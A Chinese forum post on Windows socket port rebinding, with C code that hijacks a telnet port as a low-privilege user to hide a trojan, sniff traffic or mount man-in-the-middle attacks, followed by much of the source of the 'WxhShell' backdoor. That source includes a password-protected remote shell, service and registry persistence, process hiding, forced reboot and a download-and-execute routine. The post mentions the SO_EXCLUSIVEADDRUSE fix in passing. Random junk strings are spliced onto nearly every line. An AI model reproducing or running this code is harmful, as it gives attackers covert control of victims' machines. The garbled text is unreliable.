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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $~hdm$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +3?`M<L0  
G-8n  
  saddr.sin_family = AF_INET; c,AZ/t  
/'`6 ; uRN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7jR7  
rG5i-'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ys+N,:#R  
;qG1r@o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V<W02\Hs  
[J:zE&aj  
  这意味着什么?意味着可以进行如下的攻击: ahoh9iJ  
cUV TRWV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }wG|%Y#+r  
"S|(4BUJ(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~FNPD'`t  
]TfeBX6ST  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5F03y`@ u  
`E%(pjG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |w,^"j2R  
+DxifXtB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r'PE5xqF  
SNxz*`@4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T:'+6  
C&FN#B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZU^Q1}</5  
A ' )(SGSc  
  #include 5 2fO)!  
  #include Nq  U9/  
  #include 6BHPzv+Y  
  #include    A'b<?)Y7_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |WUA1g  
  int main() dc)wu]  
  { J;"nm3[.q  
  WORD wVersionRequested; B~BUW WMfp  
  DWORD ret; .yG8B:7N2  
  WSADATA wsaData; >]C<j4  
  BOOL val; vnF g%M!  
  SOCKADDR_IN saddr; .8%vd  
  SOCKADDR_IN scaddr; ?^eJ:  
  int err; f5N<3m=  
  SOCKET s; w[M5M2CF  
  SOCKET sc; Hq79/ wKj  
  int caddsize; QZ:v  
  HANDLE mt; ;7)OSGR  
  DWORD tid;   T+3k$G[e/  
  wVersionRequested = MAKEWORD( 2, 2 ); 3me<~u  
  err = WSAStartup( wVersionRequested, &wsaData ); $<14JEU  
  if ( err != 0 ) { XuA0.b%  
  printf("error!WSAStartup failed!\n"); e ^-3etx  
  return -1; ul}4p{ m[  
  } vN' VDvVM  
  saddr.sin_family = AF_INET; O} (E(v  
   |#!eMJ&0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ./2Z?,  
]+FX$+H/A0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #fJwC7  4  
  saddr.sin_port = htons(23); N.k+AQb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S54gqc1S]  
  { n JW_a&'  
  printf("error!socket failed!\n"); EF0Pt  
  return -1; `g2&{)3k  
  } 6{lG1\o  
  val = TRUE; '=-s1c@^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b^+Fs  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7B VXBw  
  { aKa  R  
  printf("error!setsockopt failed!\n"); ipgN<|`?@  
  return -1; B?!9W@  
  } .$n$%|"H-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w 5!ndu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KC#kss  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J,.j_ii`!  
WFQ*s4 R(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q.U*X5  
  { !4i,%Z& 6  
  ret=GetLastError(); i#Ne'q;T  
  printf("error!bind failed!\n"); ll 6]W~[ZC  
  return -1; EaJDz`T}  
  } (X0`1s  
  listen(s,2); $(Z]TS$M&  
  while(1) G*8+h  
  { cA2^5'$$  
  caddsize = sizeof(scaddr); s0_-1VU  
  //接受连接请求 wE-Ji<1HJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O-y6!u$6&  
  if(sc!=INVALID_SOCKET) ?r^ hm u"a  
  { hg$qb eUl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ecM4]U  
  if(mt==NULL) "``W6W-(  
  { 3(cU)  
  printf("Thread Creat Failed!\n"); A%.J%[MVz  
  break; Q:'qw#P/C  
  } ]Y?{$M G  
  } bS_y_ 9K  
  CloseHandle(mt); uEc0/ a :.  
  } cfrvy^>,  
  closesocket(s); ~| 4U@  
  WSACleanup(); p} t{8j >  
  return 0; =$&7IQ?  
  }   \7OJN ~&<  
  DWORD WINAPI ClientThread(LPVOID lpParam) )< &B&Hp  
  { GhSL%y  
  SOCKET ss = (SOCKET)lpParam; 7yc9`j}]  
  SOCKET sc; *%P>x}6w3  
  unsigned char buf[4096]; ^.ZSpc}<  
  SOCKADDR_IN saddr; JUe K"|fA  
  long num; CwTS/G  
  DWORD val; 0BbiQXU  
  DWORD ret; ZX~>uf\n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vB&F_"/X2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   > C*?17\  
  saddr.sin_family = AF_INET; _"R3N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J3]qg.B%z  
  saddr.sin_port = htons(23); Td["l!-fe  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) krEH`f  
  { L:|X/c9r[  
  printf("error!socket failed!\n"); f}Ne8]U/Hc  
  return -1; R=#q"9qz  
  } f.U0E6-(3N  
  val = 100; ~u O:tL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s0~05{  
  { {<''OwQF~+  
  ret = GetLastError(); &KOG[tv  
  return -1; y^E F<<\  
  } 1]D/3!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j]@ x Q,y  
  { =8$(i[;6w  
  ret = GetLastError(); gQ[]  
  return -1; 97:t29N  
  } Fy4<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D[>XwL  
  { IS5.i95m  
  printf("error!socket connect failed!\n"); mG}^'?^K  
  closesocket(sc); J]kP`  
  closesocket(ss); tu?Z@W/  
  return -1; GY0XWUlC  
  } oP43NN~  
  while(1) :Ul'(@  
  { I>YtWY|ed  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t5X G^3X@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $ g1wK}B3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s/W!6JX4  
  num = recv(ss,buf,4096,0); YYZs#_  
  if(num>0) O]$*EiO\  
  send(sc,buf,num,0); 6ywnyh  
  else if(num==0) onWYT}c{  
  break; pAUfG^v  
  num = recv(sc,buf,4096,0); +[X.-,yW  
  if(num>0) ,N))=/  
  send(ss,buf,num,0); 6\)8mK  
  else if(num==0) o1p$9PL\:  
  break; 34+)-\xt:  
  } VrnK)za*H  
  closesocket(ss); )$9C`d[  
  closesocket(sc); ecSdU>  
  return 0 ; .Y^d9.  
  } .NNcc4+  
[i<$ZP  
8a":[Q[  
========================================================== f2R+5`$  
-Z/6;2Q  
下边附上一个代码,,WXhSHELL laD.or  
& 8:iB {n  
========================================================== [`Qp;_K?t  
Gct&}]3pm  
#include "stdafx.h" ;*j6d3E  
^Q43)H0  
#include <stdio.h> 3u"J4%zg|L  
#include <string.h> \ eyQo>(  
#include <windows.h> NXWIE4T>*^  
#include <winsock2.h> QvK]<HEr  
#include <winsvc.h> V!kQuQJ>  
#include <urlmon.h> Us@ {w`T  
[X$|dOm'N  
#pragma comment (lib, "Ws2_32.lib") 1=/MT#d^?  
#pragma comment (lib, "urlmon.lib") 5w,YBUp  
w7`@=kVx  
#define MAX_USER   100 // 最大客户端连接数 p)[ BB6E  
#define BUF_SOCK   200 // sock buffer "$,}|T?Y`  
#define KEY_BUFF   255 // 输入 buffer NBbY## w0  
RB$ 8^#  
#define REBOOT     0   // 重启 2o s6c te  
#define SHUTDOWN   1   // 关机 )z*$`?)k  
7Y @=x#  
#define DEF_PORT   5000 // 监听端口 )l[7;ZIw$  
Vbqm]2o&  
#define REG_LEN     16   // 注册表键长度 1=o(sIeA  
#define SVC_LEN     80   // NT服务名长度 3' :[i2[  
<5!RAdaj+  
// 从dll定义API v#<+n{B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q=E}#[EgY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [V#&sAe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u {E^<fW]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t UAY]BJ*s  
P7BJ?x  
// wxhshell配置信息 pRk'GR]`  
struct WSCFG { No92Y^~/  
  int ws_port;         // 监听端口 {7M4SC@p|  
  char ws_passstr[REG_LEN]; // 口令 x1hs19s  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5@%=LPV  
  char ws_regname[REG_LEN]; // 注册表键名 )8N)Z~h  
  char ws_svcname[REG_LEN]; // 服务名 ^B"_b?b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tWX+\ |  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2AdHj&XE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )l!&i?h%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IpaJ<~ p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !i"9f_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dC;d>j,  
>`,#%MH#  
}; EK-bvZ  
pg}DC0a  
// default Wxhshell configuration MS*Mem,  
struct WSCFG wscfg={DEF_PORT, ^x1D]+  
    "xuhuanlingzhe", x+)hL D[ n  
    1, <4A(Z$ZX)  
    "Wxhshell", gQ+_&'C  
    "Wxhshell", j|$y)FBX  
            "WxhShell Service", Lw2YP[CR  
    "Wrsky Windows CmdShell Service", E/ed0'|m  
    "Please Input Your Password: ", XGrxzO|{  
  1, Rp@}9qijb  
  "http://www.wrsky.com/wxhshell.exe", YWBP'Mo  
  "Wxhshell.exe" BKP!+V/  
    }; 2QuypVC ]  
u!EulAl  
// 消息定义模块 Nno={i1jk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~pBxFA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /RULPd PH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K?9H.#(  
char *msg_ws_ext="\n\rExit."; $lG--s  
char *msg_ws_end="\n\rQuit."; 7[?}kG   
char *msg_ws_boot="\n\rReboot..."; >8mW-p  
char *msg_ws_poff="\n\rShutdown..."; #<V'gE  
char *msg_ws_down="\n\rSave to "; c,s<q j  
4#Nd;gM2  
char *msg_ws_err="\n\rErr!"; {Z~VO  
char *msg_ws_ok="\n\rOK!"; 9787uj]Y}H  
%!hA\S  
char ExeFile[MAX_PATH]; 7QL) }b.H  
int nUser = 0; >5@ 0lYhH  
HANDLE handles[MAX_USER]; I8pxo7(-  
int OsIsNt; E6&uZr  
r Xk   
SERVICE_STATUS       serviceStatus; : w`i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kU9AfAe  
LF,c-Cv!jL  
// 函数声明 ;7og  
int Install(void); "e};?|y  
int Uninstall(void); '`A67bdq)  
int DownloadFile(char *sURL, SOCKET wsh); K/LaA4  
int Boot(int flag); =VI`CBQ/Um  
void HideProc(void); -){^ Q:u  
int GetOsVer(void); oIR%{`3"I  
int Wxhshell(SOCKET wsl); 58gt*yVu  
void TalkWithClient(void *cs); vH\nL>r  
int CmdShell(SOCKET sock); O7_NXfh|  
int StartFromService(void); K]azUK7  
int StartWxhshell(LPSTR lpCmdLine); }j<_JI  
#(}_2x5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b:d.Lf{y7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); { dx yBDK  
)UU6\2^  
// 数据结构和表定义 &(U=O?r7  
SERVICE_TABLE_ENTRY DispatchTable[] = Ita!07  
{ M(f*hOG{Y  
{wscfg.ws_svcname, NTServiceMain}, / z>8XM&  
{NULL, NULL} rO >wX_  
}; |`9zE]  
a{YVz\?d}  
// 自我安装 R$'nWzX#  
int Install(void) sBG(CpQ  
{ gYIYA"xN`  
  char svExeFile[MAX_PATH]; oM7-1O  
  HKEY key; o+23?A~+  
  strcpy(svExeFile,ExeFile); YO4ppL~xe  
K1:)J.ca_  
// 如果是win9x系统,修改注册表设为自启动 w9?wy#YI  
if(!OsIsNt) { "Q!{8 9Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +?eAaC7s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s5|)4Z ac  
  RegCloseKey(key); 8{^GC(W{]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yy;1N{dbT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z`h_oK#y15  
  RegCloseKey(key); 20xGj?M  
  return 0; x-k /rZ  
    } <5L`d}  
  } @)B5^[4(;  
} ^rb7`s#G  
else { R_&V.\e_  
IZ ha* 7  
// 如果是NT以上系统,安装为系统服务 \e vgDZf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;Cpm3a t  
if (schSCManager!=0) <^$b1<@  
{ GdwHm  
  SC_HANDLE schService = CreateService =7Gi4X%  
  ( fH{$LjH(  
  schSCManager, xo3)ds X  
  wscfg.ws_svcname, X7!A(q+h  
  wscfg.ws_svcdisp, *VAi!3Rx;  
  SERVICE_ALL_ACCESS, "@bk$o=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b<MMli  
  SERVICE_AUTO_START, ,=yIfbFQ  
  SERVICE_ERROR_NORMAL, <1K: G/!  
  svExeFile, ol>=tk 8}  
  NULL, 6EGEwx  
  NULL, 3Jit2W4  
  NULL, Xq$0% WjG  
  NULL, c=mFYsSv  
  NULL oO,p.X%  
  ); q"vT]=Y}:  
  if (schService!=0) *\5H\s9<  
  { blS4AQ?b^  
  CloseServiceHandle(schService); A}}t86T  
  CloseServiceHandle(schSCManager); O$ oN1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;L{y3CWT  
  strcat(svExeFile,wscfg.ws_svcname); $9b6,Y_-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Yhdt8[ 2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :njUaMFoMA  
  RegCloseKey(key); %[;KO&Ga  
  return 0; T3 /LUm  
    } G4]``  
  } ?["ZEa  
  CloseServiceHandle(schSCManager); Tdp$laPO'  
} Q 7?4GxMj  
} 'Pn`V{a  
W# /Ol59  
return 1; +1A<kJ  
} .h } D%Qa  
g7ROA8xu  
// 自我卸载 t)ry)[Dxv  
int Uninstall(void) \%*y+I0>  
{ /qY(uPJ  
  HKEY key; ~~ w4854  
t38T0Ao  
if(!OsIsNt) { Z ISd0hV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]5L3[A4Vu  
  RegDeleteValue(key,wscfg.ws_regname); ;#Nci%<J\  
  RegCloseKey(key); 4WnxJ]5`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g9Ll>d)tE3  
  RegDeleteValue(key,wscfg.ws_regname); L32ki}2  
  RegCloseKey(key); 79fg%cSb  
  return 0; +{*&I DW  
  } u-<s@^YG  
} L~zet-3UNf  
} J)+eEmrU  
else { +d15a%^`  
~-zC8._w3r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b s*Z{R  
if (schSCManager!=0) 43fA;Uc{Y`  
{ CbQ%[x9|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @5ybBh]   
  if (schService!=0) <>GyG-q  
  { p5hP}Z4r  
  if(DeleteService(schService)!=0) { I!bZ-16X  
  CloseServiceHandle(schService); y2>] gX5  
  CloseServiceHandle(schSCManager); >TJ$Z3  
  return 0; vUNE! j  
  } pu#<qD*w  
  CloseServiceHandle(schService); 2HNS|GHb&  
  } &c !-C_L 2  
  CloseServiceHandle(schSCManager); {,-#;A*yW  
} >skS`/6  
} wm4e:&  
4j{ }{  
return 1; AEJm/8,T  
} cPYQ<Y=  
lUz@Em  
// 从指定url下载文件 bvKi0-  
int DownloadFile(char *sURL, SOCKET wsh) YWdvL3Bgk,  
{ _X/`4 G  
  HRESULT hr; z@j&vW  
char seps[]= "/"; }8e %s;C  
char *token; t~M_NEPxV  
char *file; $P~a   
char myURL[MAX_PATH]; NI)nf;C  
char myFILE[MAX_PATH]; %mJ)pMV  
T@XiG:b7  
strcpy(myURL,sURL); D%btlw ?{  
  token=strtok(myURL,seps); wOP}SMn  
  while(token!=NULL) l@ K<p  
  { x@)u:0  
    file=token; HmKE>C/  
  token=strtok(NULL,seps); }Q_i#e(S  
  } v]>(Ps )R  
8'$n|<1X  
GetCurrentDirectory(MAX_PATH,myFILE); y.2 SHn0  
strcat(myFILE, "\\"); N3)EG6vE*  
strcat(myFILE, file); .nJGxz+X"  
  send(wsh,myFILE,strlen(myFILE),0); <Th.}=  
send(wsh,"...",3,0); ,#{aAx|]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zuf&maa S  
  if(hr==S_OK) 4a~_hkY]  
return 0; 'UKB pm/  
else Nt?B(.G  
return 1; b7/4~_s  
ZhU2z*qN#  
} }^t?v*kcA  
5q[@N  J  
// 系统电源模块 N 2\,6<  
int Boot(int flag) $hapSrS  
{ (H7q[UG|  
  HANDLE hToken; Vow+,,oh  
  TOKEN_PRIVILEGES tkp; HV?@MBM  
h";sQ'us  
  if(OsIsNt) { 5Z'pMkn3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tee%E=P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |{(ynZ]R  
    tkp.PrivilegeCount = 1; z\, w$Ef+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (J;<&v}Gad  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :1Ay_ b_J  
if(flag==REBOOT) { 4T" P #)z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *(J<~:V?  
  return 0; (msJ:SG  
} &%<G2x$  
else { ZZUCwczI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uWSG+  
  return 0; "cZ.86gG`:  
} *!r8HV/<  
  } <v?-$3YT  
  else { n$>H}#q  
if(flag==REBOOT) { O\?ei+(H7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :HC{6W`$  
  return 0; q :gH`5N  
} >*&[bW'}?  
else { \W4SZR%u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :Fh* 4 &Z  
  return 0; LF8B5<[O  
} H)Yv_gT  
} AyWCb  
g_`8K,6ln  
return 1; ;,D7VxWhY  
} \I> ,j,c  
p-Z5{by  
// win9x进程隐藏模块 umciP  
void HideProc(void) +-ue={ '  
{ TAP/gN'  
Rh39x-`Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aX! J0&3  
  if ( hKernel != NULL ) (q utgnW  
  { ),86Y:^4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {az8*MR=X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~dv C$   
    FreeLibrary(hKernel); IaW8  
  } ?AR6+`0  
4&tY5m>  
return; )<+Z,6  
} ) E5ax~  
Xa36O5$4]9  
// 获取操作系统版本 j&F&wRD%r  
int GetOsVer(void) umc!KOkL  
{ 4JucNGv  
  OSVERSIONINFO winfo; /%~`B[4F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FYzl-7!Y  
  GetVersionEx(&winfo); % nR:Rc!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eb7`R81G  
  return 1; <I7UyCAF  
  else & )Z JT.S  
  return 0; M C>{I3  
} Zscmc;G  
%"o4IYV#  
// 客户端句柄模块 e_Y>[/Om  
int Wxhshell(SOCKET wsl) Gz`Zp "i%0  
{ c#_%|gg  
  SOCKET wsh; $OmtN"  
  struct sockaddr_in client; p[cC%3  
  DWORD myID; cOIshT1  
{ aU~[5L3(  
  while(nUser<MAX_USER) qk+:p]2  
{ `":< ]lj  
  int nSize=sizeof(client); 'kp:yI7w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |>m@]s7Z  
  if(wsh==INVALID_SOCKET) return 1; ?=6zgb"9-  
ezFyd'P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :[F w c  
if(handles[nUser]==0) )V3G~p=0  
  closesocket(wsh); kIQMIL0+  
else Xf:-K(%e  
  nUser++; bBGLf)fsTG  
  } t1xX B^.M{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <[(xGrEZV  
?=aQG0  
  return 0; g=b 'T-  
} W;2y.2*  
(ue;O~  
// 关闭 socket (xMAo;s_  
void CloseIt(SOCKET wsh) 'Kl} y,  
{ 7z`)1^ M  
closesocket(wsh); {whR/rX`  
nUser--; HyZh27PE  
ExitThread(0); ofsua?lSe  
} d^4!=^HN  
8g$pfHt|e  
// 客户端请求句柄 :0r@o:H  
void TalkWithClient(void *cs) gmt`_Dpm$  
{ Tk)y*y  
pX"f "  
  SOCKET wsh=(SOCKET)cs; .^uNzN~  
  char pwd[SVC_LEN]; R9k Z#  
  char cmd[KEY_BUFF]; l{6fR(d ?  
char chr[1]; iielAj*b  
int i,j; *r=6bpi  
<.#i3!  
  while (nUser < MAX_USER) { e_7a9:2e  
Ymx/N+Jl  
if(wscfg.ws_passstr) { *&!&Y*Jzg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T2GJoJ!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U",kAQY  
  //ZeroMemory(pwd,KEY_BUFF); {o AJL  
      i=0; o[aRG7C  
  while(i<SVC_LEN) { fE,\1LK4  
c.r]w  
  // 设置超时 z" 4$mh  
  fd_set FdRead; [WuN?H  
  struct timeval TimeOut; -:Yx1Y3 [  
  FD_ZERO(&FdRead); y3 kXfSe  
  FD_SET(wsh,&FdRead); 0rooL<~fa  
  TimeOut.tv_sec=8;  9/`T]s"  
  TimeOut.tv_usec=0; W A-\2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'jqkDPn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6ID@0  
ZE#A?5lb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /a Nlr>^  
  pwd=chr[0]; sZA7)Z`7  
  if(chr[0]==0xd || chr[0]==0xa) { fn;`Vit#  
  pwd=0; l'm!e'7_  
  break; F{v>   
  } [Q6PFdQ_JT  
  i++; VI/77  
    } $zKf>[K  
RX\%R  
  // 如果是非法用户,关闭 socket Igrr"NuDZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2XNO*zbve  
} h:[%' htz  
/5pVzv+rm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w a2?%y_G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !UDTNF?1  
L3pNna  
while(1) { }I`"$2   
/'O? 8X<  
  ZeroMemory(cmd,KEY_BUFF); nF`_3U8e  
=~15q=XY0  
      // 自动支持客户端 telnet标准   '9.L5*wh]  
  j=0; !W^P|:Qt  
  while(j<KEY_BUFF) { ~x4]^XS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M8(N9)N  
  cmd[j]=chr[0]; [`2V!rU  
  if(chr[0]==0xa || chr[0]==0xd) { hR(\%p  
  cmd[j]=0; Y,n&g45m  
  break; E9<oA.  
  } #? u#=]  
  j++; {Dupk0'(  
    } k nTCX  
eaB6e@]@  
  // 下载文件 rK(TekU  
  if(strstr(cmd,"http://")) { _X;xW#go  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9(eTCe-~6  
  if(DownloadFile(cmd,wsh)) +6-_9qRq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1UdET#\  
  else rrz^LD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1L3 +KD~  
  } >sGIpER7  
  else { @|N{E I  
2K wr=t  
    switch(cmd[0]) { @` 5P^H7  
  *QH~ z2:[  
  // 帮助 xU9T8Lw  
  case '?': { 5d|hP4fEc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fkk&pu  
    break;  2:GS(%~  
  }  r"YOA@  
  // 安装 VY G o;  
  case 'i': { DsX+/)d  
    if(Install()) mH6\8I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x<d2/[(}mT  
    else C@b-)In  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W<Ri(g-  
    break; qg1tDN`s  
    } r|av|7R  
  // 卸载 Dqu?mg;L  
  case 'r': { ;T hn C>U  
    if(Uninstall()) B5v5D[ o5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @5}(Y( @  
    else rUn1*KWbE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -RI&uFqOI  
    break; :yxP3e%rp  
    } 4m1@lnjp  
  // 显示 wxhshell 所在路径 xlIVLv6dO  
  case 'p': { dj-/%MU  
    char svExeFile[MAX_PATH]; T\v~"pMu*0  
    strcpy(svExeFile,"\n\r"); C :r3z50  
      strcat(svExeFile,ExeFile); ({$>o]<h  
        send(wsh,svExeFile,strlen(svExeFile),0); 9w!PA-) L  
    break; zoibinm}Eg  
    } OjWg>v\ v  
  // 重启 :6TLT-B  
  case 'b': { [[s^rC<d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FQ_a= v  
    if(Boot(REBOOT)) <P@ "VwUX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kt3T~k  
    else { {Ri6975  
    closesocket(wsh); 2=IZD `{!  
    ExitThread(0); s.$:.*k  
    } 1$_|h@  
    break; =C#22xqQ.  
    } 5Sz&j  
  // 关机 WU\Bs2  
  case 'd': { =I8^E\O("  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a! gj_  
